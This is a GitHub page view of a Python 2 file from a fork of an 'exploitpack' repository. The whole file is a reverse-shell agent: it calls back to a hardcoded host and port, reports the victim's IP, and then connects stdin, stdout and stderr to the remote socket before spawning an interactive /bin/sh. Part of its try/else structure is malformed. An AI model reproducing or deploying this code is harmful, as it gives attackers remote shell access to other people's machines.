forked from c0ll3cti0n/exploitpack
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathFile Name.py
More file actions
40 lines (39 loc) · 1.44 KB
/
Copy pathFile Name.py
File metadata and controls
40 lines (39 loc) · 1.44 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Shell Script created using Exploit Pack
# http://www.exploitpack.com - support@exploitpack.com
import socket,subprocess,errno,time,os,signal,sys
class Agent:
def __init__(self, target, port):
self.hostname = target
self.port = int(port)
def run_worker(self):
while True:
try:
print "[*] Poking server"
self.poke()
except Exception,exc:
time.sleep(2)
else:
print "[*] Hello Server"
else:
raise
def poke(self):
whoami = ([(checkip.connect(('8.8.8.8', 80)), checkip.getsockname()[0], checkip.close()) for checkip in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1])
time.sleep(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.hostname, self.port))
s.sendall(whoami)
data = s.recv(1024)
split = data.split(":")
if whoami == split[0]:
print "[*] Connecting"
sterminal = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sterminal.connect((self.hostname, int(split[1])))
os.dup2(sterminal.fileno(), 0)
os.dup2(sterminal.fileno(), 1)
os.dup2(sterminal.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
s.close()
hostname = "169.254.58.76"
port = "1234"
new = Agent(hostname, port)
new.run_worker()